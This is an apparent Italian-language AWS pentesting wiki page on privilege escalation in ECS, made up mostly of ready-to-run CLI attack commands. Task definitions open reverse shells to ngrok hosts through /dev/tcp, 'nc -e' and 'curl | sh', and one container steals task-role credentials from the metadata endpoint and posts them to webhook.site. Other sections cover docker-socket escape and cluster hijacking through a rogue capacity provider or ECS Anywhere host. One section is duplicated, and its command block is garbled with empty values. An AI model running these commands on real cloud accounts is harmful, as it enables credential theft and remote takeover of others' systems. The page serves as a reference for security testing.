AWS - ECS Privesc

Reading time: 17 minutes

ECS

Maggiori informazioni su ECS in:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

An attacker che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask in ECS può generare una nuova task definition con un container malevolo che ruba le credenziali dei metadati e eseguirla.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impatto potenziale: Direct privesc su un ruolo ECS diverso.

iam:PassRole,ecs:RunTask

Un attacker che ha i permessi iam:PassRole e ecs:RunTask può avviare un nuovo task ECS con valori modificati per execution role, task role e il command del container. Il comando CLI ecs run-task contiene il flag --overrides che permette di cambiare a runtime executionRoleArn, taskRoleArn e il command del container senza toccare la task definition.

I ruoli IAM specificati per taskRoleArn e executionRoleArn devono consentire di essere assunti da ecs-tasks.amazonaws.com nella relativa trust policy.

Inoltre, l'attaccante deve conoscere:

• nome del cluster ECS
• sottorete VPC
• security group (Se non è specificato verrà usato quello di default)
• Nome della task definition e revisione
• Nome del Container

aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Nel frammento di codice sopra un attaccante sovrascrive solo il valore di taskRoleArn. Tuttavia, l'attaccante deve avere il permesso iam:PassRole sul taskRoleArn specificato nel comando e sul executionRoleArn specificato nella task definition affinché l'attacco avvenga.

Se il ruolo IAM che l'attaccante può passare ha privilegi sufficienti per scaricare un'immagine ECR e avviare il task ECS (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) allora l'attaccante può specificare lo stesso ruolo IAM sia per executionRoleArn che per taskRoleArn nel comando ecs run-task.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Impatto potenziale: Privesc diretto a qualsiasi ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Proprio come nell'esempio precedente, un attacker che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask in ECS può generare una nuova task definition con un malicious container che ruba le metadata credentials e eseguirla.
Tuttavia, in questo caso, è necessario che sia disponibile una container instance per eseguire la malicious task definition.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impatto potenziale: Privesc diretto su qualsiasi ruolo ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Proprio come nell'esempio precedente, un attaccante che abusi delle autorizzazioni iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService in ECS può generare una nuova task definition con un container malevolo che ruba le metadata credentials e eseguirla creando un nuovo service con almeno 1 task in esecuzione.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impatto potenziale: Privesc diretto a qualsiasi ruolo ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

In realtà, solo con queste autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un contenitore con un ruolo arbitrario usando qualcosa del genere:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potenziale Impatto: Privesc diretto a qualsiasi ECS role.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Questo scenario è simile ai precedenti ma senza il permesso iam:PassRole.
Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche senza ruolo, potresti eseguire un container privilegiato per effettuare escape verso il nodo e rubare l'EC2 IAM role e i roles degli altri ECS containers in esecuzione sul nodo.
Potresti persino forzare l'esecuzione di altri task all'interno dell'istanza EC2 che comprometti per rubare le loro credenziali (come descritto nella sezione Privesc to node).

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Un attaccante con i permessi ecs:ExecuteCommand, ecs:DescribeTasks può eseguire comandi all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (è necessario il permesso di describe perché è necessario eseguire aws ecs execute-command).
Tuttavia, per farlo, l'istanza del container deve avere in esecuzione l'ExecuteCommand agent (che per impostazione predefinita non lo è).

Pertanto, l'attaccante potrebbe provare a:

• Provare a eseguire un comando in ogni container in esecuzione

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

• Se ha ecs:RunTask, eseguire un task con aws ecs run-task --enable-execute-command [...]
• Se ha ecs:StartTask, eseguire un task con aws ecs start-task --enable-execute-command [...]
• Se ha ecs:CreateService, creare un service con aws ecs create-service --enable-execute-command [...]
• Se ha ecs:UpdateService, aggiornare un service con aws ecs update-service --enable-execute-command [...]

Puoi trovare esempi di queste opzioni nelle sezioni precedenti di ECS privesc.

Potential Impact: Privesc a un ruolo diverso associato ai container.

ssm:StartSession

Controlla nella pagina ssm privesc come puoi abusare di questa autorizzazione per privesc a ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Controlla nella pagina ec2 privesc come puoi abusare di queste autorizzazioni per privesc a ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Un attaccante con queste autorizzazioni potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguirci dei task. Questo potrebbe permettere all'attaccante di eseguire codice arbitrario nel contesto dei task ECS.

• TODO: È possibile registrare un'istanza da un account AWS diverso in modo che i task vengano eseguiti su macchine controllate dall'attaccante??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

Un attaccante con le autorizzazioni ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, e ecs:DescribeTaskSets può creare un task set malevolo per un servizio ECS esistente e aggiornare il task set primario. Questo permette all'attaccante di eseguire codice arbitrario all'interno del servizio.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impatto potenziale: Eseguire codice arbitrario nel servizio interessato, impattandone potenzialmente la funzionalità o esfiltrando dati sensibili.

References

• https://ruse.tech/blogs/ecs-attack-methods

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Un attacker con i permessi per gestire ECS capacity providers e aggiornare i services può creare un EC2 Auto Scaling Group sotto il suo controllo, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. I tasks verranno quindi schedulati su EC2 instances controllate dall'attacker, permettendo accesso a livello OS per ispezionare i containers e rubare le task role credentials.

Commands (us-east-1):

• Prereqs

• Create Launch Template for ECS agent to join target cluster

• Create Auto Scaling Group

• Create Capacity Provider from the ASG

• Associate the Capacity Provider to the cluster (optionally as default)

• Migrate a service to your provider

• Verify tasks land on attacker instances

• Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

• Cleanup

Impatto potenziale: Attacker-controlled EC2 nodes ricevono victim tasks, abilitando accesso a livello OS ai containers e il furto delle task IAM role credentials.

export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
VPC=vpc-18e6ac62
SUBNETS=
AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=
ASG_ARN=
CP_NAME=htcp-8797
aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
TASK=
CI=
aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Abuse ECS Anywhere per registrare un attacker-controlled host come EXTERNAL container instance in un victim ECS cluster ed eseguire tasks su quell'host usando task ed execution roles privilegiati. Questo concede controllo a livello OS su dove i tasks vengono eseguiti (la tua macchina) e permette il furto di credenziali/dati dai tasks e dai volumi allegati senza toccare capacity providers o ASGs.

• Required perms (example minimal):

• ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask

• ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation

• iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)

• logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

• Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.

Steps

1. Crea/identifica cluster (us-east-1)

aws ecs create-cluster --cluster-name ht-ecs-anywhere

2. Creare il ruolo ECS Anywhere e l'attivazione SSM (per istanza on-prem/EXTERNAL)

aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)

3. Provisionare un host dell'attaccante e registrarlo automaticamente come EXTERNAL (esempio: piccolo AL2 EC2 come “on‑prem”)

#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1

AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID

4. Verificare che l'istanza container EXTERNAL si sia unita

aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external

5. Crea task/execution roles, registra EXTERNAL task definition e eseguila sull'attacker host

# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
"family": "ht-external",
"requiresCompatibilities": [ "EXTERNAL" ],
"networkMode": "bridge",
"memory": "256",
"cpu": "128",
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
"containerDefinitions": [
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
"memory": 128,
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
}
]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI

6. Da qui controlli l'host che esegue i tasks. Puoi leggere i task logs (se awslogs) o eseguire direttamente exec sull'host per esfiltrare credenziali/dati dai tuoi tasks.

Esempio di comando (placeholders)

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Un attaccante con permessi per gestire gli ECS capacity providers e aggiornare i services può creare un EC2 Auto Scaling Group sotto il suo controllo, avvolgerlo in un ECS Capacity Provider, associarlo al cluster di destinazione e migrare un service vittima per usare questo provider. I Tasks saranno quindi schedulati su EC2 instances controllate dall'attaccante, consentendo accesso a livello OS per ispezionare i containers e rubare le task role credentials.

Commands (us-east-1):

• Prerequisiti

• Crea Launch Template per far sì che l'ECS agent si unisca al target cluster

• Crea Auto Scaling Group

• Crea Capacity Provider dall'ASG

• Associa il Capacity Provider al cluster (opzionalmente come default)

• Migra un service al tuo provider

• Verifica che i tasks vengano eseguiti su EC2 instances controllate dall'attaccante

• Opzionale: dall'EC2 node, esegui docker exec nei target containers e leggi http://169.254.170.2 per ottenere le credenziali del task role.

• Cleanup

Impatto potenziale: I nodi EC2 controllati dall'attaccante ricevono i tasks della vittima, permettendo accesso a livello OS ai containers e il furto delle task IAM role credentials.